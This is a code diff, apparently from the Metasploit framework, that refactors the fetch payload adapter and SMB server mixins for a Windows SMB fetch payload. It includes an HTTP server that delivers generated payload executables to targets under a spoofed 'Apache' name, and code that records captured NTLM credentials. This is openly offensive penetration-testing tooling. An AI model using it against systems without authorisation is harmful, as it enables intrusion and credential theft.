Add an SMB-based fetch payload for Windows

Gemfile.lock

@@ -265,7 +265,7 @@ GEM
       activesupport (~> 7.0)
       railties (~> 7.0)
       zeitwerk
-    metasploit-credential (6.0.6)
+    metasploit-credential (6.0.7)
       metasploit-concern
       metasploit-model
       metasploit_data_models (>= 5.0.0)

lib/msf/core/exploit/remote/smb/server/hash_capture.rb

@@ -62,7 +62,7 @@ def report_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:)
       origin = create_credential_origin_service(
         {
           address: address,
-          port: datastore['SRVPORT'],
+          port: srvport,
           service_name: 'smb',
           protocol: 'tcp',
           module_fullname: fullname,
@@ -74,7 +74,7 @@ def report_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:)
         origin: origin,
         origin_type: :service,
         address: address,
-        port: datastore['SRVPORT'],
+        port: srvport,
         service_name: 'smb',
         username: user,
         server_challenge: challenge,

lib/msf/core/exploit/remote/smb/server/share.rb

@@ -27,7 +27,6 @@ def initialize(info = {})
 
         register_options(
           [
-            OptPort.new('SRVPORT',    [ true, 'The local port to listen on.', 445 ]),
             OptString.new('SHARE', [ false, 'Share (Default: random); cannot contain spaces or slashes'], regex: /^[^\s\/\\]*$/),
             OptString.new('FILE_NAME', [ false, 'File name to share (Default: random)']),
             OptString.new('FOLDER_NAME', [ false, 'Folder name to share (Default: none)'])

lib/msf/core/payload/adapter/fetch.rb

@@ -5,19 +5,19 @@ def initialize(*args)
     register_options(
       [
         Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]),
-        Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces.', Rex::Text.rand_text_alpha(rand(8..12))], regex:/^[\S]*$/),
+        Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: /^[^\s\/\\]*$/),
         Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]),
-        Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ false, 'Local IP to use for serving payload']),
+        # FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set
+        Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ !options['LHOST']&.required, 'Local IP to use for serving payload']),
         Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']),
-        Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', ''], regex:/^[\S]*$/)
+        Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', ''], regex:/^[\S]*$/)
       ]
     )
     register_advanced_options(
       [
         Msf::OptAddress.new('FetchListenerBindAddress', [ false, 'The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST']),
         Msf::OptPort.new('FetchListenerBindPort', [false, 'The port to bind to if different from FETCH_SRVPORT']),
-        Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false]),
-        Msf::OptString.new('FetchServerName', [true, 'Fetch Server Name', 'Apache'])
+        Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false])
       ]
     )
     @delete_resource = true
@@ -27,7 +27,6 @@ def initialize(*args)
     @remote_destination_win = nil
     @remote_destination_nix = nil
     @windows = nil
-
   end
 
   # If no fetch URL is provided, we generate one based off the underlying payload data
@@ -77,9 +76,11 @@ def fetch_bindport
     datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort']
   end
 
+  def fetch_bindnetloc
+    Rex::Socket.to_authority(fetch_bindhost, fetch_bindport)
+  end
+
   def generate(opts = {})
-    datastore['FETCH_SRVHOST'] = datastore['LHOST'] if datastore['FETCH_SRVHOST'].blank?
-    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_SRVHOST required') if datastore['FETCH_SRVHOST'].blank?
     opts[:arch] ||= module_info['AdaptedArch']
     opts[:code] = super
     @srvexe = generate_payload_exe(opts)
@@ -126,17 +127,14 @@ def handle_connection(conn, opts = {})
   end
 
   def srvhost
-    datastore['FETCH_SRVHOST']
+    host = datastore['FETCH_SRVHOST']
+    host = datastore['LHOST'] if host.blank?
+    host = '127.127.127.127' if host.blank?
+    host
   end
 
   def srvnetloc
-    netloc = srvhost
-    if Rex::Socket.is_ipv6?(netloc)
-      netloc = "[#{netloc}]:#{srvport}"
-    else
-      netloc = "#{netloc}:#{srvport}"
-    end
-    netloc
+    Rex::Socket.to_authority(srvhost, srvport)
   end
 
   def srvport
@@ -148,10 +146,6 @@ def srvuri
     default_srvuri
   end
 
-  def srvname
-    datastore['FetchServerName']
-  end
-
   def windows?
     return @windows unless @windows.nil?
     @windows = platform.platforms.first == Msf::Module::Platform::Windows
@@ -243,7 +237,6 @@ def _generate_curl_command
     cmd + _execute_add
   end
 
-
   def _generate_ftp_command
     case fetch_protocol
     when 'FTP'

lib/msf/core/payload/adapter/fetch/http.rb

@@ -10,7 +10,11 @@ def initialize(*args)
   end
 
   def cleanup_handler
-    cleanup_http_fetch_service(@fetch_service, @delete_resource)
+    if @fetch_service
+      cleanup_http_fetch_service(@fetch_service, @delete_resource)
+      @fetch_service = nil
+    end
+
     super
   end
 
@@ -20,4 +24,3 @@ def setup_handler
   end
 
 end
-

lib/msf/core/payload/adapter/fetch/https.rb

@@ -10,7 +10,11 @@ def initialize(*args)
   end
 
   def cleanup_handler
-    cleanup_http_fetch_service(@fetch_service, @delete_resource)
+    if @fetch_service
+      cleanup_http_fetch_service(@fetch_service, @delete_resource)
+      @fetch_service = nil
+    end
+
     super
   end
 
@@ -19,4 +23,4 @@ def setup_handler
     super
   end
 
-end
+end

lib/msf/core/payload/adapter/fetch/server/http.rb

@@ -1,24 +1,102 @@
 module Msf::Payload::Adapter::Fetch::Server::HTTP
-  include Msf::Payload::Adapter::Fetch::Server::Https
 
-  # This mixin supports only HTTP fetch handlers but still imports the HTTPS mixin.
-  # We just remove the HTTPS Options so the user does not see them.
-  #
+  # This mixin supports only HTTP fetch handlers.
 
   def initialize(*args)
     super
-    deregister_options('FETCH_SSL',
-                       'FETCH_CHECK_CERT',
-                       'FetchSSLCert',
-                       'FetchSSLCompression',
-                       'FetchSSLCipher',
-                       'FetchSSLCipher',
-                       'FetchSSLVersion'
+    register_advanced_options(
+      [
+        Msf::OptString.new('FetchHttpServerName', [true, 'Fetch HTTP server name', 'Apache'])
+      ]
     )
   end
 
   def fetch_protocol
     'HTTP'
   end
 
+  def srvname
+    datastore['FetchHttpServerName']
+  end
+
+  def add_resource(fetch_service, uri, srvexe)
+    vprint_status("Adding resource #{uri}")
+    if fetch_service.resources.include?(uri)
+      # When we clean up, we need to leave resources alone, because we never added one.
+      @delete_resource = false
+      fail_with(Msf::Exploit::Failure::BadConfig, "Resource collision detected. Set FETCH_URIPATH to a different value to continue.")
+    end
+    fetch_service.add_resource(uri,
+                               'Proc' => proc do |cli, req|
+                                 on_request_uri(cli, req, srvexe)
+                               end,
+                               'VirtualDirectory' => true)
+  rescue  ::Exception => e
+    # When we clean up, we need to leave resources alone, because we never added one.
+    @delete_resource = false
+    fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n#{e}")
+  end
+
+  def cleanup_http_fetch_service(fetch_service, delete_resource)
+    escaped_srvuri = ('/' + srvuri).gsub('//', '/')
+    if fetch_service.resources.include?(escaped_srvuri) && delete_resource
+      fetch_service.remove_resource(escaped_srvuri)
+    end
+    fetch_service.deref
+  end
+
+  def start_http_fetch_handler(srvname, srvexe, ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil)
+    # this looks a bit funny because I converted it to use an instance variable so that if we crash in the
+    # middle and don't return a value, we still have the right fetch_service to clean up.
+    escaped_srvuri = ('/' + srvuri).gsub('//', '/')
+    fetch_service = start_http_server(ssl, ssl_cert, ssl_compression, ssl_cipher, ssl_version)
+    if fetch_service.nil?
+      cleanup_handler
+      fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}")
+    end
+    vprint_status("#{fetch_protocol} server started")
+    fetch_service.server_name = srvname
+    add_resource(fetch_service, escaped_srvuri, srvexe)
+    fetch_service
+  end
+
+  def on_request_uri(cli, request, srvexe)
+    client = cli.peerhost
+    vprint_status("Client #{client} requested #{request.uri}")
+    if (user_agent = request.headers['User-Agent'])
+      client += " (#{user_agent})"
+    end
+    vprint_status("Sending payload to #{client}")
+    cli.send_response(payload_response(srvexe))
+  end
+
+  def payload_response(srvexe)
+    res = Rex::Proto::Http::Response.new(200, 'OK', Rex::Proto::Http::DefaultProtocol)
+    res['Content-Type'] = 'text/html'
+    res.body = srvexe.to_s.unpack('C*').pack('C*')
+    res
+  end
+
+  def start_http_server(ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil)
+    begin
+      fetch_service = Rex::ServiceManager.start(
+        Rex::Proto::Http::Server,
+        fetch_bindport, fetch_bindhost, ssl,
+        {
+          'Msf' => framework,
+          'MsfExploit' => self
+        },
+        _determine_server_comm(fetch_bindhost),
+        ssl_cert,
+        ssl_compression,
+        ssl_cipher,
+        ssl_version
+      )
+    rescue Exception => e
+      cleanup_handler
+      fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}\n#{e}")
+    end
+    vprint_status("Fetch handler listening on #{fetch_bindnetloc}")
+    fetch_service
+  end
 end